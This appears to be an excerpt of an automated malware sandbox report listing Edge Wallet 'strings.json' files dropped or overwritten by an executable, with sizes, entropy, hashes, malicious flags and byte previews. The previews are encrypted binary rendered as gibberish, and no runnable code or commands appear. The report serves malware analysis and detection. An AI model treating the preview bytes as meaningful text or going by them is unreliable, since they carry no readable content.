SSDEEP:	1536:pFIEyYaRZu8fHS5cbOAoIWzr/rs5HM/EE:pFIEy9RZccbOfIWY5HM/t
MD5:	D228E3B6AA4B643D913CA0A3D5046A25
SHA1:	1B7CD2AD2D489C962C9C5566E65301B27D23D2A3
SHA-256:	C81906024D7FD2148EF9B4DA1555D591E9735FBE56B60CFF925147A51B742C81
SHA-512:	964515AE1957C4CBD1FE01E1ABE995C2D0B4F5363BEDC2681CA701DA30B34C0F2C1D5657983BC10911B4D0314766D8FA26C7CA00943A94426720DD7BF5C14DB4
Malicious:	true
Preview:	{. "........v.V....F1..j..,..;..?.a6G.u.w...R7R...\.r.w..\|)..).3_...N2t..a. ...M..Rg....:..I.J.\..T......j.P....6h&3.F.!ts.......T.q]..X.......Kp..X...@..u...Y.h....E..a..#..^K.@.@qn..h...lD.l .U.I....?.../.F.%....l.0.u.-..v.....s..U....5ERB7....O...N.[..5i.,.2......1.....N........."..e.p..7......A.].A5.S....fB.....-..L....%K.......h\|.......u.J...x.G...\|n..ys..^...-....6M..8 w.......-..6......s_.lZ.......n..i#.....GI........V.B^.C../...Q.G.?/LLt...vAC.6]-..u.o..{{3...4.1...n.JD.&f.UwK;a..\lda...%....h..m.......X].{RHyqF. .j..^......W....%......n{.....{../=$.jj... ...0..3....s....y...~3b&.~.a....H.L..i.(...^..%z....r.....D.S(..P{0>Y...8V..A..%..W8......_X....6...Rz..e.....p... ..K..`n..S.\|.`.D.w.....#.(..oR...T.B.8b..x4..D.....-..N.I.....j....$.(..g....]........u8.hk.6.Y.&....t...[.3&.:...[.G..,..&....7.p./...W.{.B9.x..lM..V./A.G.MI.(@.Z.5.d.R...F...AM.r.>z........E...b.k>7\|.....v...z...F.Q.E..Z<.t..8..W...0^>Z1x...pc...Y..b.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\pt-PT\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	61830
Entropy (8bit):	7.997387567996662
Encrypted:	true
SSDEEP:	1536:To6AL5bQVgR+rZV4NS9nHKjBgscm4EmAbmAm:T/AlQV6dh2Ab9m
MD5:	F5A431349BA9C636FE2CB97DE69656F3
SHA1:	B8A55A472FCE6131B06229E298F53DC7976BE213
SHA-256:	7078763284740F1CDCB472075C23D1E88EED4185B79F20CE41BE3C7F75201E4B
SHA-512:	2AB844A6573CD0DDCD898046A994D5D4F3CFD3FE0B62E60B548926D5FF0EBD54828EACAD2CB527C4964E190CD05413150EE8EA2634A84D549E0BA83E19E924D6
Malicious:	true
Preview:	{. "sqV.....ZR..`..f...#._]...S.#zc{^..p...e"K...d...a...p...V.@..`....L...m...1.q.h\|C....yS.a\|....~..!..,:{KT..B.D..#.=gg./...\|.J...NII..d..e.AK.\..M.I!.,4..s.....R7.O.$:1F.J.:&._.hr.J.k.;g..1..2...zqh&...Z.{.i....A...T..k.y.$+g.w...-..Ph..@q...mT...y5.2.&.F..pb.b.I.K.e....:X.&,....O.........i.)B......J...{}....q..b.3......l....pv.b.V.\|.]`....]...K..0.. .OR3..oU.U.i...M%X..D..&.L.....R.y.K&....\|N8..6I.Q.[.L{S.q.....4b..bA...cI......5.v@:.w...!..!.8....:j4M.:n........7.#8\|.h.3CZ..v,..X%d...d..7...}..]-.;].p`./.N.6\|.G .e7.i.)...g.>.'...-.x..Q...>....~;...g.%.u..^.]...!..`..UPz...PR..8..f:.`.t?#..f...D.....J<+=....Te.\&d FP..\|.d....:.Y.....{..2..Ziq.=...<C&.&.oF.[m..-.w..I.."..Wo..s...E..H0..dH...&..i...g.....S:.....w.`.b}!a....B.C....S..^.+e.)...._...-.u...'.G....VY.E..JZ.....X.....4..fm......j.y!.vm..L..W..Z<'@..\|.w8l...Z..Z....+...z.5..-+.{..+...'.\.j...,.....s...m..&...h..6..hv..2?..+>O.J.....9..I...J...T~...4.4.5M....D.....! z .f..U.i.U..T

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\ru\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	84376
Entropy (8bit):	7.997674473604993
Encrypted:	true
SSDEEP:	1536:8jaSwVLn10AfuVK5IdCxjz5IgJ9rVtOM64iX9Bk3tsCLWW:8NmLn10Afx5IdC1CaVtdcHGtsCLWW
MD5:	D57ED915BEE8EF40078EC287EFFB8DD7
SHA1:	4EF6F2F009C1507EAB5CDF523CBA55F5619C1DCB
SHA-256:	EB65D7155992A245D7829D945A4C6E29F9336EB981CB1C14544C1F590D51C2A1
SHA-512:	D10ECD23DD489295B57B46B93C9232DE41E74035BF1F22FFC89EFEC017B0BD1C9889948CE48BAF9B85E648246013C6E7E3B3B3960AD1086EBEFB87BBAD6E90B2
Malicious:	true
Preview:	{. ".2...R}_.X8..w=\|.\.d.....[..A#.:......1-.......!...!.M..e[p..htd..[.O>..B"P.l.x.Io..c.X.....=...x.)..(.....0Cqh....)..b..}...\|b.=.F'..Z.{.>...Z......aV.!vD..F...L"....\|..@........{.7.......IV.Y.j.4f..zg.d.D.J.RRc.B.yf.........{. ....3Z.w.#D@.0o..\|[.;..6+.L"..%....Y...i.G.B...B.?1...]$.~<..S..XP.tM..... [?Q/._l[..2...a[[R.;V._a..e...}..bO.#.B[.vI......m.-......<"..K.U...N!A....wJ....../.:..z...au.S.b..V,...O#..Tl..zK....`....$..........._.#.#....H...{.....Lv..!...\|..t....H...l..9.0...Nl.p.vX....)G...O.S;.T.........9)......}D.,+.x.4Sy....{..yxu.V(..j..B..ov.o.h s\...y.Dw.y....O.\|......2.?.&.......!~u........0..^...}.t8Q.@... ....}....9..'..C..U.^....t.[..x...y+ ....r..5.=.T..H...qI..'.\....U.,0A......X..8o...K.G.. .N.....[..J.]......~....}5.B.z.%....Y.....v.u.&~..M...ff...`.8.4../.[.d...."H.:...._%.a.R.Mz.e....._v[-....<..d..+......i.......F!.l........Xn.b.......;.fG.F.....+....>?.K.N..@....{.I..........r.w.......6..(.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\sv\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	59182
Entropy (8bit):	7.997459315505337
Encrypted:	true
SSDEEP:	1536:Ir3mzeriFuhAFv/P02jRlEcAZzzHsHtRb9E1DJC:Ir2squ+FHc29lEceHuRb9ExJC
MD5:	B10AF4E8C01481F2B15E3D9F5CFA17DC
SHA1:	B1041780CB4762F90A110488F957D2EB15182735
SHA-256:	112D118AA6A36F9DDAF5ACFDBB77D8808A59088418E19E8D80EBD0026ED82C15
SHA-512:	8DCE51DF2665539750CD1A0F9B5DA721356F1AEC415C26175E7152A13E485B9FBE17735E119DAAFAA835588050CD68A820D4EFE1DED8F05020C64EE533BE4081
Malicious:	true
Preview:	{. "&.L.t....V.`.U.Tn....s..p..T&7i...X.=.I.WN\..vf.~.\|.....M;...h.%!q..=-.@..-/......&7Z4.=...2.Z.....X...G... SP;K......`I.r....M..{...]r{..g...r,....R/pc.._.#(........[.[...\|...,g.&:%L...y.:....?.E<......&\N......o8R.#37<.1....?..)b.+;...C.....K...~.........3...\k...V...........,z.9..2.q..../.....Ty......:.,..>/.@.k..S..=..9..i...{~..V.k.....B...6,(@O{..2`..JHtI:..r..$....9.o...+......oBI...2}...9.}je.E..1D......\..........0..zy.=.4....8.&l...=Zy.H.k..A.XDW(=V.CH..p-.Z..`=;#RxJ.4...Brn..D."......5.m....~.B...<MOI....].<m....o~..3ORjK.d........a4?..&.b..6...q...gM.M+.4(..K.4L..r._v.."...;w.....<...e#v....S.v..v+2K.....[..R_3.u..r......_Q.7.mj\.g.+..x/W:...A..]..K.)m.2....Z..,E.Pk...+@.}.-...$...Wk.J.H..M........+V..N(......j.g.f.N.O0...F-.M\|....7.rZ...7bw".9R.t)...K.k.`....A:4..D`%...F?...OZ0...k^T.....uz.{.=.~........v.... ....F*.-.....M.....7..XtG.l.7.....v4.n...\=...:.H.@s...S..1b6...._..c.W...&.mHC..J.........e...),.........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\zh-Hans\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	53116
Entropy (8bit):	7.996810961890242
Encrypted:	true
SSDEEP:	768:nq6epFMw6bHxVofdkexj3YmCDLA6+byywbgyuAfPvOUkREw1koj5kmDVz:EpBMHoFXxoxQdbJ6uWPvOUkRP1kbEV
MD5:	62CC0A6467FF3DDF3CB3DB0468EAC03D
SHA1:	DCF0A6A5522F32FBBC5DC48D34406097C1F4E8B0
SHA-256:	37513F395169B8AC5E15A038D81376B0E10281BDF1F1958F652B57C07A506598
SHA-512:	EBD76FFD66C1C0674405FFA4D0A4CCD687C37B069C3C1B7C718953139F76F8BC5D6BE6B3A27408794E49F818E188582744156AAC6E8F29697A4A95B3C52B5E75
Malicious:	true
Preview:	{. ".G......e.p....:...).g.7..p..X....\gW. .M#...!...B.Jt6.........N.....$.My.>...{b(.,)..V/{..{..B.J.L.....:5.C...?..8....y......W...Ew..erC.hi............\|.v......b6.5..z.7..q..Ev..._...w. .(...ij}."...O.C\|.6...e.8y.....s?^ .uf..X.P.~..M......i.....c"..8`.h@....G....gfk./.;...f...TZr.....'D....\| w".....t.Hw.t.KID(&}..)....!9.6..M.;v..444u.I:g...Qq.....R.....M7....Y...3.?K....1.S.\.:#.!y....mp4....#....H..T.A.Q\|!..\|......)..cJ...K....v8..x3..S....e..{.....yv#[x.Zcb6.[.~...-....;.l6\....Py.B..Y..O.t.Q.~.hs...;(2........R....FL..zk{_..e^.......u..Xd..W.i.q.$........;.s.....nK3......,N.."....OZ..x....\|.\v..Zu...........i.ky.]B.N..w.hu......5.g..fO.....C0.07.2..L.7O..[........hp,...@.0!.;U..g......"2r...;.0}.....y..h.....d"[.<...[..D"q..J;O..(..]................uI.....@w..$E.(..T..g.gP...&l=b.....X.k$.p/M...*..0..N..=+..F.....F.34.i.LEas>.O.......X....d..l..$1.t.Z..d./.r..=f.U.J9i...!l..I..HaC.........t@p.&.d=..+.......rb

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\zh-Hant\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	54270
Entropy (8bit):	7.996411138509067
Encrypted:	true
SSDEEP:	768:3j2hLZEtvB9JHnyixLRr3s7GMsxp+T7WsR1rK8nPUPCPyP7dgA+SkSHm40Sf6uuw:zIutvBLHny6s+p4WsRNx69nkduCuuvBW
MD5:	FB7EB9B9B1FE8A44B91C39B9500AFA5A
SHA1:	CF33931F5C9F6D2EC435C74B2C9EA8930CC74738
SHA-256:	85AA993E24F6C3A6C0064A73C9AD151CF2DA421E62751D6FDCDD0E636A9F3B6D
SHA-512:	6FA9247E5989EF5CDD5EA077E566987DFBA50BAD1510C6214450FCE1804691D9A04B1A14A08F7C95D2F31454567D7826550934FCBA566AC82AF2C79EA462A49E
Malicious:	true
Preview:	{. "bc}.v..)......{..G..4.Dy.....].n.#Z.n.p.........m..X.t.......3......o3w.............Y..+=. ......?..\|C.c..3...I.t.Eal...U.L..X..U.@..-x..c >...{........0....sg....).O..'.!D....&...N.Z~.a............80bs.d.k 0.5r@Yh.u{+l.._LN...?./W......Z.....-.f..".9$.5.......)....sr.....!....M.k<.0B.$w.R.Y.'.^e....W..C.........\|b...7.^j.^3iC.F.r.x...........}..../..R.jv.[..m..?h....>..8..TZ.........V..o.%.'..e..........j..s>9...@..v....noH.9P.j.l.=.0[y.2..w...!....d..-m.....!JR.P6.w.7.&".q.s.i&.;R.e.+0eHU35.Zc..@....jA..B....!.f.$.1.\|".....N..P....\|.iip.....\....4.........Vn#e..f.&.(.J...]&`D.....>L...b^C....=~.}..K..}.........o.O9......v.......,w...{...U....,.....Q4....!.S).?...~y@8.....Y..O..y.*&.....~.w;ht..9....L......T.....N}7Y)z.\......wK......AW.....A.......7..H..SuC.^......r.z.(.].%_.\|bXF\|F..N...._..^.)wCc.G\|].....a.r.....a.V..70!BI..q].pZN.7...g.4..8.s.~....~.Ee.A..i.x).Y.0...n6.T....R.\g.).7GnLr.w..._..Z.2....d...#.1.G_f.^..%

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\ar\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3816
Entropy (8bit):	7.941940702200601
Encrypted:	false
SSDEEP:	96:18z/E85qwO/qLWC9hes6FH9HNIty4KIiKVeapA7XjcMBdxuD+:1y/E8sF/s9ksyx/fgpMIYmD+
MD5:	B9191704B9810376CAC1022B4681516B
SHA1:	ACA25D781F032D3ABEEA8060C3E4FE83EAF5B458
SHA-256:	A8EA066B3C94848DA4531A962E57EC6E504707F74413D8FCABFBBDCEEAD78812
SHA-512:	2657B3BEB0D4E51D5DDA25C2CB0183EFFCD1C6EA94099F38CD7B40736D975FCF1C4080703AD61334013D676CD4B53DAF4433EBD450918549FC8A744C387F333E
Malicious:	false
Preview:	{. "...%]..........4qAk..#\|..Yxq....p1.lAm.#..K.N..-.e(..T..+.v.{...5GqJZi......W..<N]+k...B]..b`.G#.O........y<..%V..p.X".T......................+..S...27.c...w.....I..$.f.C..\|.-Kq.o.W.lM....l.......F....FzGL..<..M~N...M.~lt....._m..B.L+...............52...!../U........O0...+.,...;=..u%..u.....^.G.^......!b~b.?...1-.!.."C.....E..\...o.yE.C....s~@lp....5..K.f,...C_?..A..........G.ET......M.+...h.r.t........x...G2.....$.\|.....4.i.iT..&..C.=........$.... ..^..t.....H..q........u.....J...ulq.q...=....I%..M..DM....t..Q.+zhL..q.-V.0.yp...%..-.@m%{...... ...%J...t.....s".......]d.2i..\|-.....M..6}a.?...;.f7.....F......0}.\|..w..<..Y..1Y.l.Yz.=.j......L.-.D.<V....}....M.G7.A..q.......eL(J.O.....ch.......X..b..b3..C5r.=.'.]I.t..<iXn.....9.._....9.K..5<.P.O..u.+:.......l.....9..{.....X.QK.o 0.=.....wA.t.~..A..r3.p..m.\IF..Tp.}(.7...aX.;.4.S9.../.>....\{../.0...w.....S.u,I...I9v7bZ...g...EI.2p..9d.7..9.....).z...yT...e.e..L.U}...9...=.Y...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\de\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3371
Entropy (8bit):	7.938984327194488
Encrypted:	false
SSDEEP:	96:7YM3Zp9wLbdrQ16nYElX6E6yaIsB8lw43EsZ+:0YSE1o6sa7B8lw43t+
MD5:	0690F8DBD7D06CD01D8544535CF129BE
SHA1:	B11969660909BA148FDA86D775E258D2FF7C818E
SHA-256:	3B12F2C8C9ABDDF9C097238308D626E38339ABD6BBBBB977EC70CCA1046262BA
SHA-512:	00489A17CF23AF7DEF826B4B25BBBC8584A9D43F5B3DBD4C0C76FEAE81197C259D2CB3D4D5D7EB4C7888084584FB22C7D1D56D42A3101F6FBDBB4C27D3AA2EF5
Malicious:	false
Preview:	{. ".......j...../...6.S..&...a).H.$..j+[.X'...8^yE....oNb<.\|Ob...ky..dZ..wQ.....l..Z.e...-..m.eI..;2.......j..g.U...~J....Y....&...Ku......g..8...Ra./i...fJ4.Pd-.........tjC.Q...W.4....\g.>...O......'Z.1d.Y...[.............P..18j...4.......[....)..E.-......x.Up....+../e.s..c...l../......=N..5...%X........{PD...k.......KGGe...K...8.....nG1...z.;.3.}....#A.7.B$.... "X.c......W.[..tF.z7..l.<..&.....&.B........@....L.lj.~......Mx...qHx6.B.yK...u...(.$Z<.......$n`..T.t.........x...>.OK.%td.b..y....M2p....\|...w...z.L..+..6"@....3..R8...yz.Q\..).s'....;&.&fY............@...@.......=..$....a8.2D...q.Y.K.\|.....=.2..{]JsY....E6,m.`..._o......C..Q..y..5..IB..?T.`=3..F.....Q....^..].....q.'..$..\Hm.-.2r..]B.o8.......n...l^".....4a..m....j..........[...Z.e..........6..@.xP..7....._..)X.r.qK.sr...L.j`.o....S`....YH\d.Q.}l..!.n.G.O...O)s...U.J`.w9H.*.rs.&../.`...H.......a..+^...T.U.a. .;.^.d....sXG....r..v...mS.lb..K#.....Ri...........C......6Q^... ...&..%.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\en-GB\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3050
Entropy (8bit):	7.9367169023578885
Encrypted:	false
SSDEEP:	48:i6yiXiv+xKCYgK7thTo3/pKLrt3lmEXdNjsH/i5SMTeL5P7ec+aDYEmD:iQ+uPpK13gEXdNjsfJ/5PSc+aDr+
MD5:	3FFC54141B05D6B6BD2E5792578D0A0E
SHA1:	B7FC6B0E33E03A6B0204A3AD100F25D5CABAB25E
SHA-256:	4C0A5DD041AA84442BD5167681B55F9CE8BC990ECFBDC38458B65A71B172F56A
SHA-512:	248930292631D312913258549845E91532B70AADF677AA0C3EE5091AF6A598D82ED9CB776261230A91BB7247B1395E50D2FB4AAD4AB506F8EB220930879245A8
Malicious:	false
Preview:	{. ".`.K&t...Zw....W...',..........z8............b}..;/\|~B.d.0....b.........._..jk}u.-.....k..H..2.'.O...#u..?..M.W.".c.#q.....@....:......1...x#c..y.........7._Q.....+.^k7.;.#.....O.,...Qv.a...BH.......f.....M.._..&.>P...VwrY.2{v`}.]..q..NS...7W"...q.G...."..+-....#..(.........My.fl..U....H.\.}..9"Uk.Sg...&#.....b.E.U=.Q.L3x....$.J\..F....2...U..@&.........X%@f.H.(T#..g..../.Z...h..S...."\.....k..mE..t....k.<.?. ....A...de.F.r.."D.}...........].N33.jtfh.U..._3Y...n........nj..h..U?......h.UW+..y....?+8.,x~.k.....t...W}.+)N.]o.w..2..].8..C......dn.R....W..~p-..%p........Nz>.`.......w..>.)....h.../...}.z.I^.U6\....Kq..t...NB.S....l...@..U,*..h.&'..iv.w....]q}..nz.IlV..]...L...y.gnT.w.S.6kRw...4\|.n{.u..6...q...o..!.m.:.:.S8.]G....t5_.wE.....X...CW.\|...78.O.....I.1..ob8CR.JH.S.y.?}73..$2+.g..of/.v..p'.{L.V.9.($.)x.^.@a....{c.x..[>....<dN\.....6.iW.......@.V....)._.........F...o..... .w.I.V.ST..1...zb.G..n....Q..$.%7..t.NX.k.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\es\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3195
Entropy (8bit):	7.943160992961471
Encrypted:	false
SSDEEP:	48:+bIEnoBXjhEmeK86Rd0TFoQXmETuR20CFP1Tijz1C2UpVt3yMMoFe0Ic2HmD:ugXFEmex6RdaoQnTa2pFpi/cp33yF0q+
MD5:	EDD41750C3BC8E595836C230FC6F5CEF
SHA1:	661C00CFDBB39A119C678012C75D566B5FD69FA8
SHA-256:	6DCDB25845EE4E86B9BE107E57A30D933CD69DB5601A25B8D5B899A9415ADEBA
SHA-512:	B65B6AEFB75ACBDB40CC04812E10A027B3918D7BC67BA896E66F10B8B3A13AE52C27DAE3FE2363F86DA44BE7A59E61F9D3CE20B80FB264C3E0B66D8A63D55888
Malicious:	false
Preview:	{. "....vK}......lE......6&9.k.'.....i.....4S....f.3..z..\..vY...Z[i,f.^.e...D:gn..z.6.x-8.:.j..[d.$..Z.M1..7.lOC....._!.H .Fsd..Z....^.d....#..)Z.hlE.......^....Y.y:D,..V5(...H.7.2K<.g!...SsJ[....kp..pX...o...,^..H.~..L.....V........G.0v.G..Z1,E.\.....O....W...6p....[."...D...!...-.?7..C.[ca...H6.N......a^M..Pc.L......G:....L.^....--vq.,}.!.&.NH.w%V...1.i\..o.].I..\!...tQ..!.......tys..`H'V....3.._6.......Ch.u.Bw.....7...n3kz...^NW./..`..Ws.@......j.-.N..[......../..{.eZ.On..GXs..93HG.".AP...b.....x..G..j..s.M.2...W..H..0.>.9dH..ig#i5n....uqm..&\wb_.o...-.-.. U6K\".....o...%..Ge................g%..F8k.$..y]f..`..C. .....L1.w@eZ....o=.}....E.....&e..uVFO.....Y!.Y.......zh.kT%.<\....iH...n.g..$.J9..h/mW.h.)....ob.......o2[.%..../........D..=3=...r..TO...v...........f....5.......{5..4..E...'=+...6..z.J(]..WR.\.%/..J[+U.m..$..2.xH....S8.e.m..E......jv.z...F..`.>..E..6....I...&..qv.l......P.M..Xr.)H...m}D>....Od..C}. ....4..l.L.'o.}.1....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\fr-CA\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3391
Entropy (8bit):	7.936893386936425
Encrypted:	false
SSDEEP:	96:1UaCUZZZZ9o5RKK31on6ewz5QWrQaPZD+B1jSAf10m+:XZZZZ9vK31oqzyWTKqAd+
MD5:	00F2D45E84265EC4CA348F0708266734
SHA1:	6B0D831D2463F87FEC86B0A0DD4DDAAE1F6F613E
SHA-256:	88A95680D94BD89D4D7430D5B7A99217D5C6B2F992015EA2A4155FDB68632809
SHA-512:	098946DDDC01CDD8E0C632AFD2686CB59BE331FE6B14A8D16D1A5A0F3DB547B30C82056F013EC90CF40FC110FFBB1CCFDC3F79B13E26FC9F89BF27F19C76212F
Malicious:	false
Preview:	{. "Ho?'S...y....(.&.hAR..E65......<...'..Y...7QI2I.............,{K.....!%..\.-.!..3.5d../...Obv.....0i.Y[..0..i+vM.=.....n.."....:U.f,....wD.4.......~.......yO.N....'.wVu.....W.....m..w...B.B_.L...o}s..U.....'\|g.!$]..P..5."..y.9.-........8..... .........1.c.n.......k@=y..{..Z$i......:.L.......1..8z..{8.......(@'.ArC......k..y.t...z..Y.0...}....t.5....`.....E5.1.............L....O.....U....i..HV.<.....EEn...L....4Y...}P.....o.}.!.....w...~.....l..#......L#r.itz....O.h.Y...`.%.1`@.\|B.AE.. :..QA..$........i...Z.[.;.....7......$..!~..((.Z..q..y>"....`.0..CHw.^.]..3$uw.]>.e?......#..ePV...ex.!8.\].^....)...<>;.8......eB..si.%.sr..\|.co....\.A.B:..F.>...x...{....P.0+.5fB_..`xrZo.KG..Y..0:..9...s....]....H..A.a?.a^...}...?91...ZeB.'j........W.\|.5..G....v.......D.@.p.7...T.,...o..v.@........SS.&.....(...../...;..Ln.....b..I..8.Y..t:o.2L..^........S8.m...H....B......i- ..\|...6..Y....O.Ni.g.<..ij,.9....C4..e.:A..I^%...\H

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\fr\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3391
Entropy (8bit):	7.947085614872073
Encrypted:	false
SSDEEP:	48:MGwdZgIlFUzkmMgJQc/xa2ZxEvOzxsam7JASYs1xV0DMqsIJFFBc905I4bg9Ivp+:eduzkDgJRrxd5mJYExK4qpw9wRU9Ivp+
MD5:	8A24BEB71CDF4B8C6074CAB4365FF0C1
SHA1:	481FAC6ABA38840142DAB049E5CA5D9D54D20617
SHA-256:	689950D4ACE1F2480F164DF5D6242ECE50DF8435CA5BACF2468472B2DFA0AA19
SHA-512:	1F0D7510D30E5150905B2717024AEBB1DF9EE30993B7382AF1B56FF80F442BB07BE1E0FBC7FA11A2C4D16F7ADFF698B53D1D2DAD5DC39CE6620F5F329F4B1E58
Malicious:	false
Preview:	{. ")....]\..Y.q...:..j....-.BQ..>.G.3peO<xe.T.j]...=on9...,..-^....6..;Q.Y..1C.p&..y4.w.F.-......p..Vny.J....gY.vT>./mj..W.Z..3..9j..h}X...s..[L....34.~...C.cK..6......F._.d.....G.r.!..HXnL.&.v...9.O>.D1....ags.7~...G...q.X.s.N.......NR.U2..,,..Ja.......[..U'H...].!D...l0..\|.lcJ!..}.c......c..9.2v..6..c/.>lS.......-.0.2...$`....?......u..Vx.9t....pD.a..\].7A..6......HEK.}.......p)T.37.JK......\|......^.'.R..&..<H.......y.....i5...<.../.P.#E......o...*..."o./.-8..JMn[:....]...<.._x..3..8..tO6.........T%..X...=..F....@..'ZqlX._....W5...q.[..]...V.@~.LS.RF[.d.E..'...4VT.l#<...G;p......G..y...<...A.....S..j...m.>.2.b.d..kT..Z......;.8.w.m.r_.4Wf........"......s.:F..HL\...g.......o..........n.......q..#g.g..H..\....r..../.~.`.....g...,.....~.`....6>.Y..N.S.u.^uy..,.....b.........XWF^.W.R.f.`zC.u...o ]......p..zX.....u.5.{w:k.......UI..I.......9.V.:......{._9....e.....4...1Ls.z}....P.C.$..'t/..K..B....F........iN.P...0..O....=...a_..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\id\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3226
Entropy (8bit):	7.941315668469974
Encrypted:	false
SSDEEP:	48:CNiLehhgvODA4sOrEpibCjK4bWBEh8FNMkVFTa+K+ixH7u+IarXWXMynlMJmD:OSP4saCjKBEmFi2W+ixH7ucmX5qJ+
MD5:	4C8133F2B3BC7E96F093335C496D2DEF
SHA1:	3422BE9E90738DDD2B85F667B4FD29B328CE4358
SHA-256:	599021DF1BE5227B53A1E2B2315522511A79BF5AA34242025DC2BE8617DE0359
SHA-512:	7B9006AAFE4BC32FC6FB4D1E8DB3A0AE6695A09557DABA413E99E98128D9CC311D5292DA3A6CD082A018856200F379872A88EAA373C8469B49C478F955A01DBA
Malicious:	false
Preview:	{. "o...\|+_../.w.Q.R..&v...}...%........u.DAI...f.=y....54.2.C..._..z.&..`h.OB.. \.f.\|....[?..`.....OT...5@.D.).C.+.p.. ......J....i......W.a(...0C.........K..X...@....^.K.%jiXN#.......\|.6..V...5./M..2Eq.u.....1..@...jC....U^uj.`,%...:.....z....K.-m...9.a......~Z.W.Q.....P.#.<.gv.]{,6..(.q?.....}...$L.-:.o...f.6...{.QF. .....&;.5.P..7W..M...$3vH...A)..>g.T..U........ .>.s..r..F.1.y-:..\|....e...R.bs./.......p.....[k......2].......)......cv2...WX=....d9..-"(.8....o.B.\|CE.vX!m/..D.."aq..fOX........Ft8...m.B.7.^..b"M\oXH..g......x%...k/K..J-.. g...)T....g..J.I..\|M.x......C_$..+.+(...rul.G}..<.3;/.b0...l.@@...V...C.N....g.e.%s..na..#.:mMO.........x]..lJ....u.d,...I..1E/rV.!...?f9om<,.j....0S.>/s.<.0..E/..R.....L.cb...~..2..8...Yy.y^....E..LS.C....X...p....J.!...=q).......=.x..L....j..b..}l.T....(Os.mEO....&`...8\|.]..0.O.G.....@.e.\|...XLMO..MjD.. ,.8e&....3......h.!j.C...g.Y...&...}...T.I.X.t..F.Lj0..b^Ac......flw..Q.ob.....\|...S.2..T..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\it\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3214
Entropy (8bit):	7.934444430824783
Encrypted:	false
SSDEEP:	96:gM3Sn1SCA/IhUs5BPQWE5X3Yct+9j3qucBgT0rX+:NSnu/pmQR5X3Yct+9j3q3OTEX+
MD5:	B70F798D1FEA6E8406B0805417D3805A
SHA1:	BB1FC534BB0C9677BF8C8BB6C030402A9C02DFBD
SHA-256:	C0255B0C61BD6945FC20C59BE30ECD5F0568C13E92520E183DF4FAA3729284BC
SHA-512:	340E437FED1CCABD9A5AE810FBCD47AAB5BC9E7741DCD33D9E66BD3084E4701E0D1021A8AC1DF3A4F54E257CA2CEB7A7B8792460A148F05A2569B44AF4829EC6
Malicious:	false
Preview:	{. "'.U;-.TG..I.z....=TS..M.:.hg.)..^X...II....j.\.:.b...1...{.&...z5.......l..8F....%.9..K....R..K....I....g...........R9.>.V......%.......r...QK...'.ob>}.....T......"..;...#...zH...W...k..f/..e?....f.s...-].2.f.. .?...Q...!WTM.uQ{....hV..2....d..2....@t../..P..)Sd..s..uG..;....}.2.{.:...j.M......Y...e........Kch....!...,.g.~.X.3......Y0..7..........Zy........@.Q..L.K....mJoI..u.....OV.....~.#.,h....p..L(..Z...^..T>.J.c.`..Nh....U5..U.}....B"4H28....H..+...p..[.....:...G9R.6..P...Jd....N`Q.%u...&.....yG.....Y.@LT..;x.d..x?..P...H.$.........H.&N.r."Q.`.1.....M...n..T.M!..w>s....}..`Sd..m$2.T-.L....#...... .....:B./......d.[n@N=.".T4..m...u)jU..m.B..Z...7.\|..H.....`G...2j".9P...[l.S_.cx.R-V.l.!.....N.].../f......6.IUC.}..........E...Lk..N.e..,.....d'...... ....2JaKr...<.)_.(r:$.q.y.3....:.7.a..8co.?@J.XKQ`....lq..4..!.z kaY.>~."...pt.r..c..b...+.._J.K9...[...5..r..u........K..9.c.K.[X.lw(u?G.....],Y.x...%.....j...{..\.c..0...._.O-8.?../.>a.`d.

